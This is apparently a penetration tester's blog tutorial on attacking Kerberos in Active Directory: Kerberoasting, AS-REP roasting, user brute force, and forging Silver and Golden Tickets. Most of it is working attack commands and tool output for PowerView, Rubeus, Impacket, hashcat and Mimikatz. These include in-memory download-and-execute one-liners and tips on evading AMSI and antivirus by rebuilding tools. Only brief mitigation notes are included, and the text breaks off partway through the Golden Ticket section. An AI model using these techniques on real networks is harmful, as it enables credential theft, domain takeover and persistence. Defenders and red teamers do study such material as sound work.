m0chan

Penetration Tester

How To Attack Kerberos 101

- Windows
- Kerberos
- Active Directory
- AS REP
- Kerberoast
- Delegation
- PowerView
- Rubeus

Jul 31, 2019

I want to start with article by saying I set out to learn Kerberos in greater detail and I figured that writing this would help cement my existing knowledge and give me reason to learn along the way, I am no Kerberos expert I am simply learning as I go along and getting my head around all the different terminologies so if you notice something amiss feel free to DM me and put me right. And if you do not understand something feel free to drop me a DM and I will do my best to help :)

In this article I will discuss all the primary attacks on Kerberos, how to enumerate for them & finally how to exploit them using a wide range of toolsets. I will also try my best to outline how to carry out these attacks from both a domain joined Windows box & an external Linux VM i/e an attackers platform.

Table of Contents

But First Let's talk about Kerberos and how it *really* works.

Kerberos Fundamentals

Kerberos is a network authentication protocol that works on the principle of issuing tickets to nodes to allow access to services/resources based on privilege level.

Kerberos is widely used throughout Active Directory and sometimes Linux but truthfully mainly Active Directory environments.

TLDR: https://www.roguelynn.com/words/explain-like-im-5-kerberos/

I am aiming to approaching this writeup with a medium-high level overview, if you would like a true low level understanding of Kerberos I advise you look into harmj0y & Sean Metcalf. They are true wizards and know every single little detail.

To provide a brief overview I want to summarize the common Kerberos terminologies you may found being thrown about.

Server/Client Terminologies:

- **Client Machine** - Machine whom wants to access service that supports Kerberos authentication.
- **Service Machine** - Server/Computer hosting "Service" that supports Kerberos authentication
- **KDC (Key Distribution Centre**) - The KDC is a very very important part of a Active Directory infrastructure as it is responsible for authenticating and distributing tickets. In AC Environments the KDC is installed on the Domain Controller **(DC)**
- **SPN (Service Principal Name)** - This is the name of the service, sometimes you may have a user account with the **SPN** attribute configured which defines it as a service account. An example of a **SPN** would be.
    - `CIFS/SERVERNAME-2016RDS.m0chanAD.local`
    - `MSSQL/MSSQLSERVER.m0chanAD.local`

Ticket Terminologies:

- **Ticket Granting Ticket (TGT)** - This is a ticket assigned on a per-user basic that each user uses to authenticate to the **KDC** with and issues requests for `TGS` ticket aka **Service Tickets**
- **Ticket Granting Server (TGS)** - A authentication subset of the **KDC** that issues **Service Tickets** after verifying an end user's **TGT** and if they have access to the requested resource.
- **Service Ticket (ST)** - This is a ticket granted to you by the **TGS **for authentication purposes against services.

Slight Disclaimer: Throughout this writeup I commonly refer to **Service Tickets (ST)** as **TGS Tickets**… Just bare with me okay. You know what I mean right?

Now I could ramble on now about the complete process of Requesting a **TGT**, **TGS Ticket, ST**, the encryption etc etc, but I want to keep this at medium-high level and if you want that true in depth information check out the **TLDR** link here

https://www.roguelynn.com/words/explain-like-im-5-kerberos/

I was planning on explaining here the Kerberos Process from requesting a TGT & TGS Ticket at a low level and then I found this pic, so I will let it do the talking.

Kerberoast

Introduction

Kerberoasting is an extremely common attack in active directory environments which targets Active Directory accounts with the SPN value set. Common accounts with the SPN **(Service Principal Name)** set are service accounts such as IIS User/MSSQL etc.

Kerberoasting involves requesting a Kerb Service Ticket (TGS) from a Windows Domain Machine or Kali Box using something like **GetUserSPN's.py**. The problem with **TGS** is once the the **DC** looks up the target **SPN** it encrypts the **TGS** with the **NTLM Password Hash** of the targeted user account.

From Windows

There are numerous ways to enumerate service accounts and find Kerberoast targets so I will cover a few below, both from Windows Machines & Linux Machines.

Powerview

The First will be PowerView.ps1 - If you have not heard of PowerView.ps1 by now and you are researching Kerberos attacks then you need to go back a little…

PowerView is an insanely powerful **.ps1** created by Harmj0y which makes Enumerating & Exploiting AD Environments with PowerShell extremely easy. Even though Powershell is extremely monitored in this day and age by defenders it is still highly useful.

`https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1`

Enumeration

First let's import `PowerView.ps1` into Memory with

```
IEX (New-Object Net.WebClient).DownloadString('http://werbserver:80/PowerView.ps1')
```

Of course `AMSI` will probably catch this on `WIN10 1803` but I will leave evasion upto yourselfs. There are numerous bypasses in my `h4cks` Repo and numerous out there online. `AMSI` is just string detection so it's easy to slip past.

Now with PowerView in memory on a **Domain-Joined Machine** we can simply run

```
Get-DomainUser -SPN
```

The `Get-DomainUser` function also supports the `-Credential` switch which allows you to pass a seperate credential through. For ex.

```
$secpasswd = ConvertTo-SecureString 'pass' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('m0chan\user', $secpasswd)

Get-DomainUser -SPN -Credential $cred
```

That's it! It will return all users with SPN Value set.

Exploit

Now with the target service accounts in our scopes we can actually request a ticket for cracking which couldn't be easier with `PowerView.ps1`

Just simply run the below command

```
Get-DomainSPNTicket -SPN <spn> -OutputFormat hashcat -Credential $cred
```

This will return a SPN Ticket encrypted with the `NTLM` hash of the target account. Bare in mind here I choose Hashcat over John as I use a Nvidia cracking rig but works way way better with Hashcat.

Now we can simply crack with something like

```
hashcat64.exe -a -m 13100 SPN.hash /wordlists/rockyou.txt
```

Of course this is as simple cracking attack as it's just against a simple wordlist but if this was in the real world you would through rule sets and much more probable wordlists into the mix.

Rubeus

Second up we have Rubeus which is a relatively new tool developed and released by the wizards at SpectreOps. Without them the hacking community wouldn't be the same.

> Rubeus is effectively a Kerberos attack tool which we will cover a lot in this article that is developed in C#/.NET meaning it is a lot harder for defenders to detect it it's reflectively loaded using something like Cobalt's `execute-assembly` or `SILENTTRINITY`. You can also reflectively load it from PowerShell but I will be covering `.NET` in greater detail in a future article.
>
> https://github.com/GhostPack/Rubeus`

Enumeration

Now by default I don't believe Rubeus has a `Enumerate` feature that simply enumerate user with the SPN Value set but truthfully that's not the hard part when it comes to Kerberoasting, with a little bit of Powershell / LDAP Magic you can find what your looking for. Below are some examples.

```
get-aduser -filter {AdminCount -eq 1} -prop * | select name,created,passwordlastset,lastlogondate
```

```
dsquery * "ou=domain controllers,dc=yourdomain,dc=com" -filter "(&(objectcategory=computer)
(servicePrincipalName=*))" -attr distinguishedName servicePrincipalName > spns.txt
```

There are more techniques out there such as `Get-DomainUser -SPN` as talked about above and a lot of other ways that I will leave to your imagination.

Now we are armed with target accounts let's boot up `Rubeus`

Exploit

To get Rubeus you will actually need `Visual Studio 2017` or anything that can compile `.NET`. In my case I use Visual Studio and build myself an assembly. Luckily at the moment the default build of Rubeus is only detected by one AV vendor on Virus Total however if your AV is flagging it just change some strings and comments and rebuild the project and your AV will shut up. That's the beauty of open-source C# / .NET Projects, much easier to circumvent anti-virus solutions.

Armed with out assembly/exe we can simply drop it on the target **Domain-Joined Machine** in the context of a domain user and start Roasting.

Rubeus Github has an amazing explanation on all it's features and it's ability to target specific `OU's` `Users` etc etc so I will try not to copy it word-for-word but merely show it's capabilities.

First we can try to Roast all Users in the Current Domain (May be Noise)

```
PS C:\Users\m0chan\Desktop > .\Rubeus kerberoast
```

Kerberoast All Users in a Specific OU (Good if Organization has all Service Accounts in a Specific OU)

```
PS C:\Users\m0chan\Desktop > .\Rubeus kerberoast /ou:OU=SerivceAcc,DC=m0chanAD,DC=local
```

This may generate a lot of Output so we can Output all the Hashes to a file for easier Management and Cracking.

```
/outfile:C:\Temp\TotallyNotHashes.txt
```

Roasting a Specific Users or SPN

```
PS C:\Users\m0chan\Desktop > .\Rubeus kerberoast /user:mssqlservice
```

```
PS C:\Users\m0chan\Desktop > .\Rubeus kerberoast /spn:MSSQLSvc/SQL.m0chanAD.local
```

There is also the ability to Roast users in a foreign trust domain providing the trust relationships allow you but you can check out the Rubeus Repo for full explanation on that. It's really cool.

Invoke-Kerberoast.ps1

The final script I will talk about in the Windows Section is `Invoke-Kerberoast.ps1` which isn't nearly as powerful as `Rubeus` or `Powerview` hence why I will not split it up into Enumeration/Exploit like previous sections.

`Invoke-Kerberoast.ps1`. can be Invoked and executed using the below `one-liner`

```
PS C:\Temp > IEX(new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1"
```

```
#Download Invoke-Kerberoast.ps1 into Memory (AMSI May Flag)
IEX(new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
```

```
#Invoke-Kerberoast and Output to Hashcat Format
```

```
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
```

From Linux

Kerberoasting from Linux is a little but different as we are most likely not authenticated to the domain in anyway so will have to pass a stolen Kerberos ticket through for authentication or domain credentials.

In my experience I have found Kerberoasting from a **Domain-Joined Machine** is way way easier and typically hassle free however sometime we don't have the option.

To enumerate Users with `SPN` value set we can use one of `Impackets` great scripts `GetUserSPN's.py`

https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py

If you haven't heard of Impacket by now it's a collection of python scripts for attacking Windows and has some seriously dangerous scripts in it's repo.

Armed with `GetUserSPNs.py` and a already pwned `Domain Users` credentials we can simply run the below

```
m0chan@kali:/scripts/> python GetUserSPNs.py m0chanAD/pwneduser:pwnedcreds -outputfile hashes.kerberoast
```

This outputted file can now be sent to Hashcat to crack, there are alternative means to cracking on Linux but in all my time Hacking I have never once had a good time trying to crack on Linux. I find Hashcat on a Windows machine with NVIDIA cards is the best route (personally).

Mitigation / Defending against Kerberoast

The most effective technique of defending against this is of course to make sure Service Accounts have extremely long passwords, 32 of extremely high complexity.

In terms of detecting Kerberoast it can be quite tricky as it's normal activity for `TGS` tickets to be requested however you can enable `Audit Kerberos Service Ticket Operations` under Account Logon to log `TGS` ticket requests.

However as this is normal operation you will get ALOT ALOT of `Event 4769` & `Event 4770` alerts

---

AS-REP Roasting

Introduction

`AS-REP` roasting is an attack that is often-overlooked in my opinion it is not extremely common as you have to explicitly set `Accounts Does not Require Pre-Authentication` aka `DONT_REQ_PREAUTH`

`Pre-Authentication` is the first step in Kerberos Authentication and it's main role is to try prevent against brute-force password guessing attacks.

Typcially during Pre-Auth a user will enter his creds which will be used to encrypt a time stamp and the DC will decrypt it to validate that the correct creds were used. If the DC verifies okay it will issue a `TGT` however if `Pre-Authentication` is disabled it would allow an attacker to request a ticket for any user and the `DC` would simply return a `TGT` which will be encrypted similar to the `Kerberoast` attack which can be cracked offline.

`AS-REP` is cool as you don't even have to do it from a **Domain-Joined Machine** or `Domain-User` you just have to have access to request to the `KDC` however being on a **Domain-Joined Machine** or having Domain Creds will make the enumeration process way easier as you can simply use LDAP Filter or PowerView to find targets.

Such as

```
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name
```

From Windows

Just like Kerberoasting AS-REP Roasting can be done from both Windows & Linux but we will cover Windows first as it's much more convenient. We are attacking windows after all!

Powerview

Enumeration

First let's import `PowerView.ps1` into Memory with

```
IEX (New-Object Net.WebClient).DownloadString('http://werbserver:80/PowerView.ps1')
```

As said above under `Kerberoasting` `AMSI` will probably flag this on `WIN10 1803` but I will leave evasion upto yourselves.

Now with PowerView in memory on a **Domain-Joined Machine** we can simply run

```
Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose
```

You can also do the below

```
Get-DomainUser victimuser | Convert-FromUACValue
```

Exploit

Armed with our target user with `DONT_REQ_PREAUTH` set we can now request the relevant ticket to crack offline. Sadly `PowerView.ps1` does not have a ASREP Roasting Function included however the author `harmj0y` or `PowerView` created a fantastic module to do this with

https://github.com/HarmJ0y/ASREPRoast

Simply Import the Module with

```
Import-Module .\ASREPRoast.ps1
```

And now we can simply run

```
Get-ASRepHash -Domain m0chanAD.local -UserName m0chan
```

This will return a Hash which you can crack with Hashcat with the below Syntax

```
hashcat64.exe -a 0 -m 7500 asrep.hash /wordlists/rockyou.txt
```

PS: You will have to install the latest version of Hashcat to get the support for AS-REP Cracking

John also support AS-REP Cracking but I have never tried it

Rebeus

> Rubeus is effectively a Kerberos attack tool which we will cover a lot in this article that is developed in C#/.NET meaning it is a lot harder for defenders to detect it it's reflectively loaded using something like Cobalt's `execute-assembly` or `SILENTTRINITY` You can also reflectively load it from PowerShell but I will be covering `.NET` in greater detail in a future article.
>
> https://github.com/GhostPack/Rubeus

The `asreproast` functionality of `Rebeus` actually is intended to fully replace harmj0ys `ASREPRoast` Powershell module I coupled with PowerView in the section above.

Enumeration

Like Kerberoasting `Rubeus` does not have a specific enumeration functionality and is more intended for the exploiting section so I will leave the enumeration section above to do the talking.

TLDR: Use PowerView to Enumeration or `Get-ADUser` coupled with `LDAP` queries to find your targets.

Exploit

Sorry for the Copy & Paste ;)

To get Rubeus you will actually need `Visual Studio 2017` or anything that can compile `.NET`. In my case I use Visual Studio and build myself an assembly. Luckily at the moment the default build of Rubeus is only detected by one AV vendor on Virus Total however if your AV is flagging it just change some strings and comments and rebuild the project and your AV will shut up. That's the beauty of open-source C# / .NET Projects, much easier to circumvent anti-virus solutions.

Armed with our assembly/exe we can simply drop it on the target **Domain-Joined Machine** in the context of a domain user or execute it from our Windows Machine providing we can see the `KDC`

Rubeus Github has an amazing explanation on all it's features and it's ability to target specific `OU's` `Users` etc etc so I will try not to copy it word-for-word but merely show it's capabilities.

First we can try to Roast all Users in the Current Domain (May be Noise)

```
PS C:\Users\m0chan\Desktop > .\Rubeus asrep /format:hashcat
```

ASREP All Users in a Specific OU (Good if Organization has all Service Accounts in a Specific OU)

```
PS C:\Users\m0chan\Desktop > .\Rubeus asrep /ou:OU=SerivceAcc,DC=m0chanAD,DC=local /format:hashcat
```

This may generate a lot of Output so we can Output all the Hashes to a file for easier Management and Cracking.

```
/outfile:C:\Temp\TotallyNotHashes.txt
```

Roasting a Specific Users

```
PS C:\Users\m0chan\Desktop > .\Rubeus asrep /user:mssqlservice /format:hashcat
```

From Linux

Just like Kerberoasting, AS-REP Roasting can be done from both Windows & Linux and I will cover Linux in this section even though I highly recommend you do this from a Windows Machine and/or a Domain Joined Machine for ease of access.

Similar to Kerberoasting there is a very useful python script from the `Impacket` library that helps request `TGT's` for accounts with Pre-Auth disabled from Linux.

https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py

Enumerate accounts with `PRE_AUTH` disabled from Linux is a little tricky unless you have already enumerated a target or have another Domain Users credentials in which you can execute LDAP Commands from Linux with something like `ldapsearch`

However let's say we are armed with `GetNPUsers.py` and a target in mind we can simply run the below

```
m0chan@kali:/scripts/> python GetNPUsers.py m0chanAD/ -usersfile TargetUsers.txt -format hashcat -outputfile hashes.asreproast
```

Mitigation / Defending against AS-REP Roasting

The first step towards mitigating this vulnerability is to ensure that all your accounts within your environment have Kerberos Pre-Authentication enabled (Enabled by Default), Truthfully I do not see any reason for this to be disabled. Perhaps a reader can tell me why you would disable it.

However I would advise if you do need to disable this for some reason that the password set on the user account is 32+ and composed of extreme complexity.

Kerberos User Enumeration and Brute Force

Introduction

As Kerberos is an authentication protocol it is possible to perform brute-force attacks against it (providing we are careful). Kerberos brute-force has a lot of advantages for brute-forcing vs other protocols.

- Kerberos indicates if you are using a **CORRECT USERNAME** but **INCORRECT PASSWORD** there we can Enumerate Users by sending a user list with bogus passwords. This will tell us if the usernames are correct or not. Great for User Enumeration.
- A Domain Joined Account is not required, only access to the KDC
- User Log-on Failures are not logged as the traditional Logon Failure you get with RDP Brute Force etc **(Event ID: 4625)** instead it is a Kerberos Pre-Auth Failure (**4771**) not ideal but certainly better than **4625**

Ps: Be careful when Brute forcing/Enumerating as accounts can still be locked out, I recommend you treat this as a password spray more than an aggressive brute force.

From Windows

Here we find ourselves again… Truthfully I only know of one way to brute-force Kerberos on Windows using…. drum-roll please. `Rubeus` surprise surprise… That being said the `brute` module is not part of the core `Rubeus` repo and is instead a fork by `Zer1to`

https://github.com/Zer1t0/Rubeus

Rebeus

> Rubeus is effectively a Kerberos attack tool which we will cover a lot in this article that is developed in C#/.NET meaning it is a lot harder for defenders to detect it it's reflectively loaded using something like Cobalt's `execute-assembly` or `SILENTTRINITY` You can also reflectively load it from PowerShell but I will be covering `.NET` in greater detail in a future article.
>
> https://github.com/GhostPack/Rubeus

As we have discussed Rebeus loads in this article already under `Kerberoasting` and `AS REP` I will jump straight to the chase.

We can carry out the brute force with the below syntax (Has to be Zer1to's Fork)

```
PS C:\Users\m0chan> .\Rubeus.exe brute /users:usernames.txt /passwords:pass.txt /domain:m0chanAd.local /outfile:brutepasswords.txt


  ______        _
 (_____ \      | |
  _____) )_   _| |__  _____ _   _  ___
 |  __  /| | | |  _ \| ___ | | | |/___)
 | |  \ \| |_| | |_) ) ____| |_| |___ |
 |_|   |_|____/|____/|_____)____/(___/

 v1.4.1

[+] Valid user => m0chan
[+] Valid user => jamie
[+] Valid user => jack
[+] M0CHAN => jack:jack123
[*] Saved TGT into jack.kirbi
```

The `brute` force module is really clever as if you crack a `Username` and `Password` combo it will automatically request a and save a `TGT` which you can inject into your current session to impersonate that user. But I will cover this later on when I discuss `Pass-The-Ticket` and `Kerberos Ticket Injection`

From Linux

Okay so surprisingly in my time and for the first time in this article I have actually had a easier experience enumerate Kerberos users from Linux and Brute forcing in comparison to Windows.

Let's first talk about **nMap**

nMap

I am sure we have all heard of nMap, it's probably the most used InfoSec tool used. Period.

Now nMap has a really nice script that allows us to enumerate users with `krb5-enum-users` This is super useful as we do not to have access to the domain only access to the `KDC`

The syntax for `krb5-enum-users` is as follows

```
nmap -verbose 4 -p 88 --script krb5-enum-users --script-args krb5-enum-users-realm='kerbrealm',userdb=user.txt <dc ip>
```

kerbrute.py

There is a great script developed by `TarlogicSecurity` entitled `kerbrute.py` that uses Impacket Libaries to to brute force and enumerate `Kerberos` users.

https://github.com/TarlogicSecurity/kerbrute

```
m0chan@kali:/scripts/> python kerbrute.py -domain m0chanAD.local -users usernames.txt -passwords pass.txt -outputfile foundusers.txt

Impacket v0.9.20 - Copyright 2018 SecureAuth Corporation
[*] Valid user => m0chan
[*] Valid user => jack
[+] M0CHAN => jack:jack123
[*] Saved TGT in jack.ccache
[*] Saved discovered passwords in foundusers.txt
```

Similar to Rubeus it will also request a `TGT` and save it in `.ccache` format which is Linux's Kerberos ticket format which you can later inject to gain access to network resources etc.

Silver Ticket

Introduction

if you are interested in InfoSec it's almost inevitable that you have heard of Silver Tickets and Golden Tickets at some points, most think that Silver Tickets are nothing compared to Golden Tickets but they are mistaken, silver tickets are just as dangerous and even more stealthier.

This is because giving the nature of the attack there is no communication with the DC hence the stealth.

Silver tickets are essential forged `TGS` tickets which grant you access to a particular service aka **service-tickets**

In order to generate a Silver-Ticket you require the `NTLM` hash of a `Service Account`, typically services run under traditional user accounts with a SPN value for ex. `mssql` & `iis` user etc.

Silver Tickets not only apply too `User Accounts` they also apply to `Computer Accounts` as sometimes System Services run under the `Computer Account` in this case the NTLM hash of the Computer would be used to generate the ticket.

For example: If I was an attacker and I gained access to a computer running a service and I elevated to admin/system I could dump the `NTLM` hash of respective account (Computer or User) and generate a silver ticket impersonating said user.

With said generated ticket we could employ a `Pass-The-Ticket` attack and/or Inject the ticket into our current session to access other available resources.

Before I proceed with the Windows / Linux practical sections I would just like to provide a brief overview of practical examples and when to use Silver Tickets.

Examples

List of Possible Host SPN's (Services) that can be targetted with Computer Hash

```
alerter
appmgmt
cisvc
clipsrv
browser
dhcp
dnscache
replicator
eventlog
eventsystem
policyagent
oakley
dmserver
dns
mcsvc
fax
msiserver
ias
messenger
netlogon
netman
netdde
netddedsm
nmagent
plugplay
protectedstorage
rasman
rpclocator
rpc
rpcss
remoteaccess
rsvp
samss
scardsvr
scesrv
seclogon
scm
dcom
cifs
spooler
snmp
schedule
tapisrv
trksvr
trkwks
ups
time
wins
www
http
w3svc
iisadmin
msdtc
```

CIFS - System Service - Computer NTLM Hash

The first example I am going to cover is if you have compromised the `NTLM` hash of a Computer Account

1. Dump NTLM Hash of `Computer Account`
2. Create Silver Ticket Targeting CIFS Service on Computer
3. Forged TGS (Service Ticket) ticket is created allow you to access target service.
4. Access \\computername\C$ (Providing User has Access to Said Computer)
5. Copy payload.exe C:\Temp\payload.exe
6. Create Another Silver Ticket Targeting **HOST Service**
7. Create Scheduled Task
8. Boom - Payload.exe is spawned on the target machine.

MSSQL- User Service - User NTLM Hash

Let's skip the exploiting part and presume we have the `NTLM` hash of a Service Account for `MSSQL` we can use this `NTLM` hash to impersonate this user account and access network resources they have access too. For example `MSSQL` servers etc. (Maybe if it's poorly configured we can access other stuff)

1. Dump `NTLM` hash of `Service Account`
2. Create Silver Ticket Targeting Service Account
3. Dump .kirbi Ticket
4. Inject `.kirbi`
5. Access MSSQL Resources
    1. Databases
    2. Shares (Maybe)

There is also some great examples here on creating Silver Tickets to work with LDAP, PS Remoting etc

https://adsecurity.org/?p=2011

I hope this makes sense to people, now for the practical examples.

From Windows

Once again as we are attacking a protocol that is primarily used within Microsoft AD environments I do recommend you carry out the attacks from a Windows Box / **Domain-Joined Machine** but ofc it is possible from Linux but we will start with Windows.

I will only be discussing using Mimikatz for Ticket creation and then Rubeus for Ticket Injection. I do not believe you can create a Silver Ticket with Rubeus yet, but I may be wrong.

Let's go.

Creating Ticket with Mimikatz

```
  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr  6 2014 22:02:03)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                  with  13 modules * * */
```

Good old Mimikatz, the true swiss-army knife for dumping credentials, kerberos tickets, SAM Hives & DPAPI manipulation. Shout out to Benjamin Delpy, the InfoSec community would be nothing without you.

Mimikatz Silver Ticket Guide

```
/domain: The FDQN
/sid: The SID (Security Identifier) of the Domain (whoami /user)
/user: Target Account/Computer to Impersonate
/id: RID of the account you will be impersonating
/ptt: Optional (Will Inject Ticket or you can do with Rubeus)
/rc4: NTLM Hash of User Password/Computer Password
```

AD Security has a really nice example on using a Computer Hash:

The following Mimikatz command creates a Silver Ticket for the CIFS service on the server adsmswin2k8r2.lab.adsecurity.org. In order for this Silver Ticket to be successfully created, the AD computer account password hash for adsmswin2k8r2.lab.adsecurity.org needs to be discovered, either from an AD domain dump or by running Mimikatz on the local system as shown above (Mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit). The NTLM password hash is used with the /rc4 paramteer. The service SPN type also needs to be identified in the /service parameter. Finally, the target computer's fully-qualified domain name needs to be provided in the /target parameter. Don't forget the domain SID in the /sid parameter.

```
mimikatz "kerberos::golden /admin:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc
```

Service Account Hash Example

As I mentioned above let's say we have the `NTLM` hash of a Service Account (MSSQL) we can create a Silver Ticket for said User and then start issue SQL Commands to a Database providing the Database accepts Kerberos authentication (Most likely will)

```
mimikatz.exe
prvilege::debug

kerberos::golden /id:1106 /domain:m0chanAD.local /sid:S-1-5-21-1473643419-774954089-2222323452 /target:sqlserver.m0chanAD.local /rc4:d7e2b80507ea074ad59f152a1ba20458 /service
```

PTT

As you can see in the above examples I have applied the `/ptt` flag which will automatically inject the ticket into my current session but we can choose to output it to a file with the `/ticket` flag which will output a `ticket.kirbi` file by default unless directly specified.

We can then use this `kirbi` ticket for a certain level of persistence and/or inject them with Rubeus which Iw ill display below.

Injecting Ticket with Rubeus

> Rubeus is effectively a Kerberos attack tool which we will cover a lot in this article that is developed in C#/.NET meaning it is a lot harder for defenders to detect it it's reflectively loaded using something like Cobalt's `execute-assembly` or `SILENTTRINITY` You can also reflectively load it from PowerShell but I will be covering `.NET` in greater detail in a future article.
>
> https://github.com/GhostPack/Rubeus

As we have discussed Rubeus loads in this article already under `Kerberoasting` and `AS REP` I will jump straight to the chase.

We can use Rubeus to inject Silver Tickets into our session by 2 methods, `.kirbi` file or a Base64 of said `.kirbi` file which I find very useful.

Inject `.kirbi` from Disk

```
PS C:\Users\m0chan> .\Rubeus.exe ptt /ticket:C:\Temp\silver.kirbi

(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: Import Ticket
[+] Ticket successfully imported!

PS C:\Users\m0chan> .\Rubeus.exe klist
```

Inject `.kirbi` from Base64 Blog

```
PS C:\Users\m0chan> .\Rubeus.exe ptt /ticket:BASE64BLOBHERE

(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: Import Ticket
[+] Ticket successfully imported!

PS C:\Users\m0chan> .\Rubeus.exe klist
```

From Linux

I am going to try my best here to show how you can use Silver Tickets/Inject them etc from Linux but truthfully this is a learning experience for me as I 99% of the time carry this out on Windows bases platforms and/or **Domain-Joined Machines**

ticketer.py

Here we find ourselves again on a Linux machine wanting to do Windows things so where do we look? You have one guess. Yep you're right. **Impacket** has a script called `ticketer.py`

I truthfully just learnt about this script after doing some Googling so I am not expert on it's internals but after a brief overview it appears as if `ticketer.py` allows you to generate forged `Silver` and `Golden` tickets which will come in handy for the next section about `Golden Tickets`

The Syntax for Ticketer is as follows

```
m0chan@kali:/scripts/> python ticketer.py -domain-sid S-1-5-21-1473643419-774954089-2222323452 -nthash d7e2b80507ea074ad59f152a1ba20458 -domain m0chanAD.local -spn cifs/works

#This will export a .ccache file which can be imported by executing the below command

KRB5CCNAME=/scripts/m0chan.ccache

We can then pass the -K switch through with any other Impacket scripts and it will automatically use the cached kerberos ticket, such as PSEXec, WMIExec (i think).
```

Truthfully that's all I have for Linux, I am more than happy for someone to submit a Commit with a better solution and I will happily review it and perhaps add it on here.

Mitigation / Defending Silver Tickets

Silver Tickets are really difficult to detect as there is no communication with the DC to request a `TGT` as you are merely requesting a `TGS` directly from the respective service. Of course there are logs generated on the respective machine hosting the service but these logs are local and sometimes not centrally stored/monitored.

Set `Account is Sensitive and Cannot be Delegated` as this will prevent an attacker from lateral movement using said account/kerberos ticket.

Golden Ticket

Introduction

Wow - Not going to lie I did not expect the `Silver Ticket` section to go on for that long, I even learnt some stuff myself while writing that… I am going to try keep this section relatively smaller as it is in theory the same practice just slightly different as we are not targeting `Computer Hash's` or `User Hash's` but instead the hash of the `krbtgt` account which can typically only be retrieved from pwning the Domain Controller and dumping the `NTDS.dit` file and/or Dumping `LSAAS` on the DC and putting it through `Mimikatz`

Now you thought Silver Tickets were dangerous? Imagine if you could forge a Kerberos ticket that would grant you access to any resource on the network at any time perhaps forever.

That's what Golden Tickets are except they are slightly different in the fact that Silver Tickets request `TGS` tickets which grant you access to individual target service. Whereas with Golden Ticket you forge a `TGT` with the `krbtgt` hash which grants you access to every service and/or machine in the entire Domain.

KRBTGT Account NTLM Hash

The `NTLM` hash of the `KRBTGT` account is the true keys-to the castle for an entire domain (sometimes an enitre forest;)) You can get this `NTLM` hash from one of the options below

- Mimikatz on Domain Controller (lsadump::dcsync and/or sekurlsa::logonpasswords all)
- Dumping NTDS.dit
- DCSync

Sooo, What does the `KRBTGT` account actually do.. Well the `KRBTGT` account is used to encrypt and sign all Kerberos tickets across the entire domain for validation. If you are on a Windows Domain Environment right now this account is working away doing it's thing. The password also never changes unless explicity done by a SysAdmin etc and it's name is always `KRBTGT` so it's a common target for attackers.

The true beauty of Golden Tickets are the fact that they are valid `TGTs` as it is encrypted/signed by the `KRBTGT` account so they appear like legitimate `TGTs`

I believe I have explained now how we use Golden Tickets and hinted at how dangerous these really can be so I will not demonstrate some practical examples of course with Windows First followed by Linux.

From Windows

copy and paste ftw

Once again as we are attacking a protocol that is primarily used within Microsoft AD environments I do recommend you carry out the attacks from a Windows Box / **Domain-Joined Machine** but ofc it is possible from Linux but we will start with Windows.

I will only be discussing using Mimikatz for Ticket creation and then Rubeus for Ticket Injection. I do not believe you can create a Golden Ticket with Rubeus yet, but I may be wrong.

Let's go.

Creating Ticket with Mimikatz

```
  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr  6 2014 22:02:03)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                  with  13 modules * * */
```

Golden Ticket Requirements

```
Domain Name: m0chanAD.local
Domain SID: S-1-5-21-1473643419-774954089-2222323452 (whoami /user)
KRBTGT NTLM Hash: d7e2b80507ea074ad59f152a1ba20458
ID: 500 (Administrator SID), 518 (Schema Admins), 519 (Enterprise Admin)
```

Generate Ticket

```
mimikatz.exe
kerberos::golden /domain:m0chanAD.local /sid:<domain-sid> /krbtgt:<krbtgt> /id:500 /user:FakeAdmin /ticket persistance4life.kirbi
```

PTT

As you can see in the above examples I have applied the `/ptt` flag which will automatically inject the ticket into my current session but we can choose to output it to a file with the `/ticket` flag which will output a `ticket.kirbi` file by default unless directly specified.

We can then use this `kirbi` ticket for a certain level of persistence and/or inject them with Rubeus which Iw ill display below.

```
mimikatz.exe
kerberos::ptt persistance4life.kirbi
```

Injecting Ticket with Rubeus

> Rubeus is effectively a Kerberos attack tool which we will cover a lot in this article that is developed in C#/.NET meaning it is a lot harder for defenders to detect it it's reflectively loaded using something like Cobalt's `execute-assembly` or `SILENTTRINITY` You can also reflectively load it from PowerShell but I will be covering `.NET` in greater detail in a future article.
>
> https://github.com/GhostPack/Rubeus

Disclaimer : This is an exact copy of this section under Silver Tickets

As we have discussed Rubeus loads in this article already under `Kerberoasting` and `AS REP` I will jump straight to the chase.

We can use Rubeus to inject Silver Tickets into our session by 2 methods, `.kirbi` file or a Base64 of said `.kirbi` file which I find very useful.

Inject `.kirbi` from Disk

```
PS C:\Users\m0chan> .\Rubeus.exe ptt /ticket:C:\Temp\silver.kirbi

(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
